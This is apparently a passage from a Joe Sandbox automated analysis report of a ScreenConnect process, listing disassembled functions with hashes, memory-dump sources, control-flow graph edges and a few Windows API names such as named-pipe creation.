                                                                                          Function 00007FFD9B716961 Relevance: 2.5, Strings: 1, Instructions: 1234COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: H
                                                                                          • API String ID: 0-2852464175
                                                                                          • Opcode ID: e43eec8c222b647312b84fa17344f4ea4121fd6faf183cf824b55f57d35a16c7
                                                                                          • Instruction ID: 907de320d3041a316dac9781dc838ae85333b4182bc3254dd9fd09e319482c74
                                                                                          • Opcode Fuzzy Hash: e43eec8c222b647312b84fa17344f4ea4121fd6faf183cf824b55f57d35a16c7
                                                                                          • Instruction Fuzzy Hash: ED823771B1EB4E4BEBB99BA884717B933D2EF94300F164279D44DC71F6DE28A9028350
                                                                                          Function 00007FFD9B71901C Relevance: 2.1, Instructions: 2136COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 08d726c7ee295426bb4d96dd7f51748c960ebf972bcd7c7d3e2db049eee157fc
                                                                                          • Instruction ID: bb7a2cedacfe29f03066bf0f3a6baffe4e0403087d164b4d70480ee4bfca6a37
                                                                                          • Opcode Fuzzy Hash: 08d726c7ee295426bb4d96dd7f51748c960ebf972bcd7c7d3e2db049eee157fc
                                                                                          • Instruction Fuzzy Hash: EDF29331A09A1D8FDBA8DB68C8A47A877F1FF54300F1142B9D45DD72A1DE35AE82CB50
                                                                                          Function 00007FFD9B710428 Relevance: .7, Instructions: 689COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: a51b88fd78c431ee7f8c5dd2216be6cb77cf3f55f795a1b5d4b2d4da054fdc53
                                                                                          • Instruction ID: 137b41073b51c5434e43c94d49d2c47df6642704698635a5fec0c7a69394830b
                                                                                          • Opcode Fuzzy Hash: a51b88fd78c431ee7f8c5dd2216be6cb77cf3f55f795a1b5d4b2d4da054fdc53
                                                                                          • Instruction Fuzzy Hash: DF221261B1EB4E0FE7A8E6AC84657B537D1EF55710F0502BAE48DCB1F3ED18A9428360
                                                                                          Function 00007FFD9B71701B Relevance: .5, Instructions: 519COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b1114123084d08db75e0a1521e98704b432bb5c1964253846ca55ce2c6ae4a89
                                                                                          • Instruction ID: d695c22ef3a3f0fbb18c34623b22a606121a9392615d9ec0ec995ef22987f9f0
                                                                                          • Opcode Fuzzy Hash: b1114123084d08db75e0a1521e98704b432bb5c1964253846ca55ce2c6ae4a89
                                                                                          • Instruction Fuzzy Hash: F8F19171B1DB494FEBA8EB6884A5B6573D1FFA8300F11467DE44EC72B2DE34A8418741
                                                                                          Function 00007FFD9B7175A9 Relevance: 3.0, Strings: 2, Instructions: 456COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 81 7ffd9b7175a9-7ffd9b7175af 82 7ffd9b717620-7ffd9b717632 81->82 83 7ffd9b7175b1-7ffd9b7175b4 81->83 85 7ffd9b717635-7ffd9b71763c 82->85 83->85 86 7ffd9b7175b6-7ffd9b7175f8 call 7ffd9b716560 call 7ffd9b716570 call 7ffd9b715448 83->86 87 7ffd9b71763d-7ffd9b71765f 85->87 88 7ffd9b717778-7ffd9b7177aa 85->88 98 7ffd9b717663-7ffd9b717667 86->98 110 7ffd9b7175fa-7ffd9b717605 86->110 87->98 101 7ffd9b717747-7ffd9b717777 88->101 102 7ffd9b7177ac-7ffd9b7177bc 88->102 103 7ffd9b717669-7ffd9b7176b7 call 7ffd9b715450 98->103 101->88 107 7ffd9b7177be-7ffd9b7177da 102->107 108 7ffd9b717806-7ffd9b71780c 102->108 124 7ffd9b7176bc-7ffd9b7176ee 103->124 112 7ffd9b717b5f-7ffd9b717b7d call 7ffd9b710c30 * 2 107->112 113 7ffd9b7177e0-7ffd9b7177fe call 7ffd9b710c30 * 2 107->113 119 7ffd9b717813-7ffd9b717816 108->119 123 7ffd9b71760b-7ffd9b71761d 110->123 110->124 144 7ffd9b717b83-7ffd9b717b8a 112->144 145 7ffd9b717c89-7ffd9b717c94 112->145 141 7ffd9b717804-7ffd9b717805 113->141 142 7ffd9b7179f5-7ffd9b717a13 call 7ffd9b710c30 * 2 113->142 126 7ffd9b717818-7ffd9b71781a 119->126 127 7ffd9b71781c-7ffd9b71782a call 7ffd9b7100e0 119->127 123->103 131 7ffd9b71761f 123->131 124->88 134 7ffd9b71782d-7ffd9b717842 126->134 127->134 131->82 146 7ffd9b717844-7ffd9b717846 134->146 147 7ffd9b717848-7ffd9b717856 call 7ffd9b7100e0 134->147 141->108 170 7ffd9b717a3d-7ffd9b717a5b call 7ffd9b710c30 * 2 142->170 171 7ffd9b717a15-7ffd9b717a1f 142->171 151 7ffd9b717b9d-7ffd9b717b9f 144->151 152 7ffd9b717b8c-7ffd9b717b9b 144->152 154 7ffd9b717859-7ffd9b717867 146->154 147->154 153 7ffd9b717ba6-7ffd9b717bca 151->153 152->151 161 7ffd9b717ba1 152->161 166 7ffd9b717c16-7ffd9b717c46 153->166 167 7ffd9b717bcc-7ffd9b717be9 153->167 168 7ffd9b71786d-7ffd9b71787b call 7ffd9b7100e0 154->168 169 7ffd9b717869-7ffd9b71786b 154->169 161->153 198 7ffd9b717c48-7ffd9b717c4a 166->198 199 7ffd9b717c4c-7ffd9b717c5b call 7ffd9b7100e0 166->199 182 7ffd9b717bef-7ffd9b717c14 167->182 183 7ffd9b717c95-7ffd9b717d07 167->183 175 7ffd9b71787e-7ffd9b71787f 168->175 169->175 195 7ffd9b717a61-7ffd9b717a6c 170->195 196 7ffd9b717b12-7ffd9b717b1d 170->196 177 7ffd9b717a21-7ffd9b717a31 171->177 178 7ffd9b717a33 171->178 185 7ffd9b717886-7ffd9b71788b 175->185 180 7ffd9b717a35-7ffd9b717a36 177->180 178->180 180->170 182->166 203 7ffd9b717d50-7ffd9b717d7a 183->203 204 7ffd9b717d09-7ffd9b717d13 183->204 192 7ffd9b717892-7ffd9b717898 185->192 201 7ffd9b71789f-7ffd9b7178a6 192->201 213 7ffd9b717a6e-7ffd9b717a70 195->213 214 7ffd9b717a72-7ffd9b717a81 call 7ffd9b7100e0 195->214 215 7ffd9b717b1f-7ffd9b717b21 196->215 216 7ffd9b717b23-7ffd9b717b32 call 7ffd9b7100e0 196->216 202 7ffd9b717c5e-7ffd9b717c65 198->202 199->202 201->142 209 7ffd9b7178ac-7ffd9b7178b3 201->209 211 7ffd9b717c67-7ffd9b717c78 202->211 212 7ffd9b717c7a-7ffd9b717c7b 202->212 228 7ffd9b717d17-7ffd9b717d4d 203->228 233 7ffd9b717d7c-7ffd9b717da6 203->233 204->228 209->142 220 7ffd9b7178b9-7ffd9b7178d0 209->220 224 7ffd9b717c7d-7ffd9b717c82 211->224 212->224 222 7ffd9b717a84-7ffd9b717ab8 213->222 214->222 217 7ffd9b717b35-7ffd9b717b37 215->217 216->217 217->145 227 7ffd9b717b3d-7ffd9b717b5e 217->227 240 7ffd9b7178d2-7ffd9b7178e4 220->240 241 7ffd9b717905-7ffd9b717910 220->241 222->196 232 7ffd9b717aba-7ffd9b717ac8 222->232 224->145 228->203 237 7ffd9b717aca-7ffd9b717ad2 232->237 238 7ffd9b717adb-7ffd9b717ae3 232->238 245 7ffd9b717da8-7ffd9b717da9 233->245 246 7ffd9b717dac-7ffd9b717dd0 233->246 242 7ffd9b717ae4-7ffd9b717ae5 237->242 243 7ffd9b717ad4-7ffd9b717ad9 237->243 238->242 244 7ffd9b717af5-7ffd9b717b0f 238->244 258 7ffd9b7178e6-7ffd9b7178e8 240->258 259 7ffd9b7178ea-7ffd9b7178f8 call 7ffd9b7100e0 240->259 253 7ffd9b717912-7ffd9b717914 241->253 254 7ffd9b717916-7ffd9b717925 call 7ffd9b7100e0 241->254 249 7ffd9b717aea-7ffd9b717af4 call 7ffd9b7166c8 242->249 243->249 244->196 245->246 272 7ffd9b717e02-7ffd9b717e0b 246->272 273 7ffd9b717dd2-7ffd9b717de1 246->273 249->244 261 7ffd9b717928-7ffd9b71792a 253->261 254->261 266 7ffd9b7178fb-7ffd9b7178fe 258->266 259->266 270 7ffd9b7179df-7ffd9b7179f1 261->270 271 7ffd9b717930-7ffd9b717947 261->271 266->241 270->142 271->270 279 7ffd9b71794d-7ffd9b71796a 271->279 276 7ffd9b717de3-7ffd9b717de4 273->276 277 7ffd9b717de7-7ffd9b717e01 273->277 276->277 284 7ffd9b717976 279->284 285 7ffd9b71796c-7ffd9b717974 279->285 286 7ffd9b717978-7ffd9b71797a 284->286 285->286 286->270 288 7ffd9b71797c-7ffd9b717986 286->288 289 7ffd9b717994-7ffd9b71799c 288->289 290 7ffd9b717988-7ffd9b717992 call 7ffd9b714748 288->290 292 7ffd9b71799e-7ffd9b7179c3 call 7ffd9b715560 289->292 293 7ffd9b7179ca-7ffd9b7179dd call 7ffd9b7166b8 289->293 290->142 290->289 292->293 293->142
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: H$H
                                                                                          • API String ID: 0-136785262
                                                                                          • Opcode ID: 56ac1341bd2db7272abffdbfeb2884b557ad498e2ca090f9aa01b026e8385310
                                                                                          • Instruction ID: dc58d3f07d623a85a05d5a6727065431d2951d532f60e941f5519e76b120df25
                                                                                          • Opcode Fuzzy Hash: 56ac1341bd2db7272abffdbfeb2884b557ad498e2ca090f9aa01b026e8385310
                                                                                          • Instruction Fuzzy Hash: 7FE11771B1EB4E4AE7799BA884717B977E2EF84304F15027DD04EC71F2DE28AA028750
                                                                                          Function 00007FFD9B407FC4 Relevance: 1.7, APIs: 1, Instructions: 174COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2949974715.00007FFD9B400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B400000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b400000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: MitigationPolicyProcess
                                                                                          • String ID:
                                                                                          • API String ID: 1088084561-0
                                                                                          • Opcode ID: 79ded7bb39094b638dd254f34c0814944ab155bad4fb324d905508e498225e7a
                                                                                          • Instruction ID: 9fe3f68be8d424cd4de8b867a4c01dfd501363c05c81aeea445484c5c469edf1
                                                                                          • Opcode Fuzzy Hash: 79ded7bb39094b638dd254f34c0814944ab155bad4fb324d905508e498225e7a
                                                                                          • Instruction Fuzzy Hash: 3E414A31D1D7494FD729AFA89C5A5E97BE0EF56311F0401BFE089C3192DE68A805CB92
                                                                                          Function 00007FFD9B4035E2 Relevance: 1.7, APIs: 1, Instructions: 172pipeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1547 7ffd9b4035e2-7ffd9b42580a 1550 7ffd9b425814-7ffd9b4258d1 CreateNamedPipeW 1547->1550 1551 7ffd9b42580c-7ffd9b425811 1547->1551 1553 7ffd9b4258d3 1550->1553 1554 7ffd9b4258d9-7ffd9b42590c 1550->1554 1551->1550 1553->1554
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2949974715.00007FFD9B400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B400000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b400000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateNamedPipe
                                                                                          • String ID:
                                                                                          • API String ID: 2489174969-0
                                                                                          • Opcode ID: 8060ce2c4d6621529c0a6fbf90c8a51c002adcb8c520f2c0705a44be9954fae1
                                                                                          • Instruction ID: 10dc02f94fb91aa28cbd558853614f233b52a1edb8fbe983dff8436e01b16243
                                                                                          • Opcode Fuzzy Hash: 8060ce2c4d6621529c0a6fbf90c8a51c002adcb8c520f2c0705a44be9954fae1
                                                                                          • Instruction Fuzzy Hash: 0E51AF7191CA1C8FDB68EF5C9845BE9BBE0FB59710F1042AEE44ED3251CB70A9818BC1
                                                                                          Function 00007FFD9B403602 Relevance: 1.6, APIs: 1, Instructions: 119pipeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1556 7ffd9b403602-7ffd9b4259f0 ConnectNamedPipe 1560 7ffd9b4259f2 1556->1560 1561 7ffd9b4259f8-7ffd9b425a40 call 7ffd9b425a41 1556->1561 1560->1561
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2949974715.00007FFD9B400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B400000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b400000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: ConnectNamedPipe
                                                                                          • String ID:
                                                                                          • API String ID: 2191148154-0
                                                                                          • Opcode ID: 5fc58e776a6719877842ee883ebbc6ac1bec48632c943762fdd8462ed46f3517
                                                                                          • Instruction ID: db3f5f40185b8eda8a01a77eb9808f467b81dd64bc5bdc3e34e905130b1dd561
                                                                                          • Opcode Fuzzy Hash: 5fc58e776a6719877842ee883ebbc6ac1bec48632c943762fdd8462ed46f3517
                                                                                          • Instruction Fuzzy Hash: F5316C70E08A1C8FDB58EF98D849BEAB7F1FB58311F10826AD00DD7255CB74A985CB81
                                                                                          Function 00007FFD9B403A42 Relevance: 1.6, APIs: 1, Instructions: 104COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1565 7ffd9b403a42-7ffd9b40809f 1567 7ffd9b4080a6-7ffd9b408100 SetProcessMitigationPolicy 1565->1567 1568 7ffd9b408102 1567->1568 1569 7ffd9b408108-7ffd9b408137 1567->1569 1568->1569
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2949974715.00007FFD9B400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B400000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b400000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: MitigationPolicyProcess
                                                                                          • String ID:
                                                                                          • API String ID: 1088084561-0
                                                                                          • Opcode ID: 1c7b606b3a3b3f7bf0eff38aaeb0b4102e193bfbae02ced9514cde34566e999e
                                                                                          • Instruction ID: 713374d4395c37008c0fff1f0d778bd717dd8a504cbcd45f5f7e6ffc16af2065
                                                                                          • Opcode Fuzzy Hash: 1c7b606b3a3b3f7bf0eff38aaeb0b4102e193bfbae02ced9514cde34566e999e
                                                                                          • Instruction Fuzzy Hash: 1521A871D18B188FDB28AF9DDC4AAF97BE0EB59711F00423EE049D3251DB74B8458B92
                                                                                          Function 00007FFD9B724A4A Relevance: 1.6, Strings: 1, Instructions: 308COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1630 7ffd9b724a4a-7ffd9b724a7c 1632 7ffd9b724a7e 1630->1632 1633 7ffd9b724a42-7ffd9b724a47 1630->1633 1634 7ffd9b724a80-7ffd9b724ad5 1632->1634 1635 7ffd9b724af8 1632->1635 1647 7ffd9b724add-7ffd9b724af6 call 7ffd9b724bc8 call 7ffd9b723498 1634->1647 1636 7ffd9b724afa-7ffd9b724b07 1635->1636 1637 7ffd9b724b0b-7ffd9b724b0d 1635->1637 1636->1637 1639 7ffd9b724b0f-7ffd9b724b36 1637->1639 1640 7ffd9b724b37-7ffd9b724b42 1637->1640 1639->1640 1641 7ffd9b724b44-7ffd9b724b48 1640->1641 1642 7ffd9b724bb3-7ffd9b724bb8 1640->1642 1643 7ffd9b724b4a-7ffd9b724b5a call 7ffd9b724438 1641->1643 1644 7ffd9b724bc9-7ffd9b724bd1 1641->1644 1645 7ffd9b724be2-7ffd9b724bee 1642->1645 1646 7ffd9b724bba-7ffd9b724bc7 1642->1646 1654 7ffd9b724b5f-7ffd9b724b69 1643->1654 1650 7ffd9b724bd3 1644->1650 1651 7ffd9b724b97-7ffd9b724bb0 call 7ffd9b724c16 1644->1651 1652 7ffd9b724bf0-7ffd9b724c01 1645->1652 1653 7ffd9b724c06-7ffd9b724c0b 1645->1653 1646->1644 1647->1635 1658 7ffd9b724c4d-7ffd9b724c4f 1650->1658 1659 7ffd9b724bd5-7ffd9b724bde 1650->1659 1651->1642 1652->1653 1664 7ffd9b724c0d-7ffd9b724c15 1653->1664 1665 7ffd9b724c31-7ffd9b724c3c 1653->1665 1661 7ffd9b724b7b-7ffd9b724b95 1654->1661 1662 7ffd9b724b6b-7ffd9b724b7a call 7ffd9b724448 1654->1662 1660 7ffd9b724c54-7ffd9b724c57 1658->1660 1659->1645 1667 7ffd9b724c81-7ffd9b724c89 1660->1667 1668 7ffd9b724c59 1660->1668 1661->1651 1662->1661 1665->1660 1671 7ffd9b724c3e-7ffd9b724c4b 1665->1671 1677 7ffd9b724c8c-7ffd9b724c9d 1667->1677 1678 7ffd9b724c8b 1667->1678 1673 7ffd9b724c7f 1668->1673 1674 7ffd9b724c5b-7ffd9b724c63 1668->1674 1671->1658 1673->1667 1682 7ffd9b724ca0-7ffd9b724d09 call 7ffd9b71bf40 call 7ffd9b71bf60 call 7ffd9b724468 1677->1682 1683 7ffd9b724c9f 1677->1683 1678->1677 1683->1682
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: UWVH
                                                                                          • API String ID: 0-545401801
                                                                                          • Opcode ID: 13caf4b46f562b52cb01f0c418e982fafcb8dd321f748dc63dfff488b739db6b
                                                                                          • Instruction ID: 039d9d7a028c70c3bc34b596050aabdc63d71a96b5ad39e42dee22503d31278d
                                                                                          • Opcode Fuzzy Hash: 13caf4b46f562b52cb01f0c418e982fafcb8dd321f748dc63dfff488b739db6b
                                                                                          • Instruction Fuzzy Hash: E5A14931A0E78D4FD769EF68D8256A87BE0EF45304F0502BED44DCB2B6CA35A946C781
                                                                                          Function 00007FFD9B7177A8 Relevance: 1.5, Strings: 1, Instructions: 299COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1691 7ffd9b7177a8-7ffd9b7177aa 1692 7ffd9b717747-7ffd9b7177aa 1691->1692 1693 7ffd9b7177ac-7ffd9b7177bc 1691->1693 1692->1693 1695 7ffd9b7177be-7ffd9b7177da 1693->1695 1696 7ffd9b717806-7ffd9b717816 1693->1696 1698 7ffd9b717b5f-7ffd9b717b7d call 7ffd9b710c30 * 2 1695->1698 1699 7ffd9b7177e0-7ffd9b7177fe call 7ffd9b710c30 * 2 1695->1699 1707 7ffd9b717818-7ffd9b71781a 1696->1707 1708 7ffd9b71781c-7ffd9b71782a call 7ffd9b7100e0 1696->1708 1721 7ffd9b717b83-7ffd9b717b8a 1698->1721 1722 7ffd9b717c89-7ffd9b717c94 1698->1722 1719 7ffd9b717804-7ffd9b717805 1699->1719 1720 7ffd9b7179f5-7ffd9b717a13 call 7ffd9b710c30 * 2 1699->1720 1712 7ffd9b71782d-7ffd9b717842 1707->1712 1708->1712 1723 7ffd9b717844-7ffd9b717846 1712->1723 1724 7ffd9b717848-7ffd9b717856 call 7ffd9b7100e0 1712->1724 1719->1696 1746 7ffd9b717a3d-7ffd9b717a5b call 7ffd9b710c30 * 2 1720->1746 1747 7ffd9b717a15-7ffd9b717a1f 1720->1747 1727 7ffd9b717b9d-7ffd9b717b9f 1721->1727 1728 7ffd9b717b8c-7ffd9b717b9b 1721->1728 1730 7ffd9b717859-7ffd9b717867 1723->1730 1724->1730 1729 7ffd9b717ba6-7ffd9b717bca 1727->1729 1728->1727 1737 7ffd9b717ba1 1728->1737 1742 7ffd9b717c16-7ffd9b717c46 1729->1742 1743 7ffd9b717bcc-7ffd9b717be9 1729->1743 1744 7ffd9b71786d-7ffd9b71787b call 7ffd9b7100e0 1730->1744 1745 7ffd9b717869-7ffd9b71786b 1730->1745 1737->1729 1777 7ffd9b717c48-7ffd9b717c4a 1742->1777 1778 7ffd9b717c4c-7ffd9b717c5b call 7ffd9b7100e0 1742->1778 1758 7ffd9b717bef-7ffd9b717c14 1743->1758 1759 7ffd9b717c95-7ffd9b717d07 1743->1759 1751 7ffd9b71787e-7ffd9b717898 1744->1751 1745->1751 1773 7ffd9b717a61-7ffd9b717a6c 1746->1773 1774 7ffd9b717b12-7ffd9b717b1d 1746->1774 1753 7ffd9b717a21-7ffd9b717a31 1747->1753 1754 7ffd9b717a33 1747->1754 1780 7ffd9b71789f-7ffd9b7178a6 1751->1780 1756 7ffd9b717a35-7ffd9b717a36 1753->1756 1754->1756 1756->1746 1758->1742 1782 7ffd9b717d50-7ffd9b717d7a 1759->1782 1783 7ffd9b717d09-7ffd9b717d13 1759->1783 1793 7ffd9b717a6e-7ffd9b717a70 1773->1793 1794 7ffd9b717a72-7ffd9b717a81 call 7ffd9b7100e0 1773->1794 1795 7ffd9b717b1f-7ffd9b717b21 1774->1795 1796 7ffd9b717b23-7ffd9b717b32 call 7ffd9b7100e0 1774->1796 1781 7ffd9b717c5e-7ffd9b717c65 1777->1781 1778->1781 1780->1720 1789 7ffd9b7178ac-7ffd9b7178b3 1780->1789 1791 7ffd9b717c67-7ffd9b717c78 1781->1791 1792 7ffd9b717c7a-7ffd9b717c7b 1781->1792 1808 7ffd9b717d17-7ffd9b717d4d 1782->1808 1813 7ffd9b717d7c-7ffd9b717da6 1782->1813 1783->1808 1789->1720 1800 7ffd9b7178b9-7ffd9b7178d0 1789->1800 1804 7ffd9b717c7d-7ffd9b717c82 1791->1804 1792->1804 1802 7ffd9b717a84-7ffd9b717ab8 1793->1802 1794->1802 1797 7ffd9b717b35-7ffd9b717b37 1795->1797 1796->1797 1797->1722 1807 7ffd9b717b3d-7ffd9b717b5e 1797->1807 1820 7ffd9b7178d2-7ffd9b7178e4 1800->1820 1821 7ffd9b717905-7ffd9b717910 1800->1821 1802->1774 1812 7ffd9b717aba-7ffd9b717ac8 1802->1812 1804->1722 1808->1782 1817 7ffd9b717aca-7ffd9b717ad2 1812->1817 1818 7ffd9b717adb-7ffd9b717ae3 1812->1818 1825 7ffd9b717da8-7ffd9b717da9 1813->1825 1826 7ffd9b717dac-7ffd9b717dd0 1813->1826 1822 7ffd9b717ae4-7ffd9b717ae5 1817->1822 1823 7ffd9b717ad4-7ffd9b717ad9 1817->1823 1818->1822 1824 7ffd9b717af5-7ffd9b717b0f 1818->1824 1838 7ffd9b7178e6-7ffd9b7178e8 1820->1838 1839 7ffd9b7178ea-7ffd9b7178f8 call 7ffd9b7100e0 1820->1839 1833 7ffd9b717912-7ffd9b717914 1821->1833 1834 7ffd9b717916-7ffd9b717925 call 7ffd9b7100e0 1821->1834 1829 7ffd9b717aea-7ffd9b717af4 call 7ffd9b7166c8 1822->1829 1823->1829 1824->1774 1825->1826 1852 7ffd9b717e02-7ffd9b717e0b 1826->1852 1853 7ffd9b717dd2-7ffd9b717de1 1826->1853 1829->1824 1841 7ffd9b717928-7ffd9b71792a 1833->1841 1834->1841 1846 7ffd9b7178fb-7ffd9b7178fe 1838->1846 1839->1846 1850 7ffd9b7179df-7ffd9b7179f1 1841->1850 1851 7ffd9b717930-7ffd9b717947 1841->1851 1846->1821 1850->1720 1851->1850 1859 7ffd9b71794d-7ffd9b71796a 1851->1859 1856 7ffd9b717de3-7ffd9b717de4 1853->1856 1857 7ffd9b717de7-7ffd9b717e01 1853->1857 1856->1857 1864 7ffd9b717976 1859->1864 1865 7ffd9b71796c-7ffd9b717974 1859->1865 1866 7ffd9b717978-7ffd9b71797a 1864->1866 1865->1866 1866->1850 1868 7ffd9b71797c-7ffd9b717986 1866->1868 1869 7ffd9b717994-7ffd9b71799c 1868->1869 1870 7ffd9b717988-7ffd9b717992 call 7ffd9b714748 1868->1870 1872 7ffd9b71799e-7ffd9b7179c3 call 7ffd9b715560 1869->1872 1873 7ffd9b7179ca-7ffd9b7179dd call 7ffd9b7166b8 1869->1873 1870->1720 1870->1869 1872->1873 1873->1720
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: H
                                                                                          • API String ID: 0-2852464175
                                                                                          • Opcode ID: 04e07b8f4f4b91bf9740b0d1040d49746863e476f63f27bd12e5ad801857c780
                                                                                          • Instruction ID: d95bb74d2f8707692d18dd480a21c8b124b38935d4924931acbd06fbd905a272
                                                                                          • Opcode Fuzzy Hash: 04e07b8f4f4b91bf9740b0d1040d49746863e476f63f27bd12e5ad801857c780
                                                                                          • Instruction Fuzzy Hash: 48A1D871B1EB0F5AE7799BA480717BD72D2EF84344F56523DD04EC72F1DE28AA028690
                                                                                          Function 00007FFD9B716A8E Relevance: 1.4, Strings: 1, Instructions: 130COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: E
                                                                                          • API String ID: 0-3568589458
                                                                                          • Opcode ID: 901c2f8989603dbcf331e8716527ec43c8b1906c1b425b68b0cecca110972384
                                                                                          • Instruction ID: 4776273edcea22ee354876a0de98cd2f72027322ed4e5f03c33b1a99fe75ee0f
                                                                                          • Opcode Fuzzy Hash: 901c2f8989603dbcf331e8716527ec43c8b1906c1b425b68b0cecca110972384
                                                                                          • Instruction Fuzzy Hash: F0411961B0EB8A4BE7B58B5844613A57BE1FF94340F6587BED04DC71F6EE24E8068301
                                                                                          Function 00007FFD9B71000C Relevance: .6, Instructions: 562COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 4c3dfb774dbd7eec2bc95e9537fd408130a20513d74e7040ad310ca7375e68a5
                                                                                          • Instruction ID: 0448e4c5c58b9f1ee60c72472825d4d51baa71a615a980a381ea3b132942b640
                                                                                          • Opcode Fuzzy Hash: 4c3dfb774dbd7eec2bc95e9537fd408130a20513d74e7040ad310ca7375e68a5
                                                                                          • Instruction Fuzzy Hash: 3512A03560E7498FDB99EF68C4B1AA07BE1FF51704B1506EAC099CF1B7CA29E842C750
                                                                                          Function 00007FFD9B71015A Relevance: .5, Instructions: 474COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
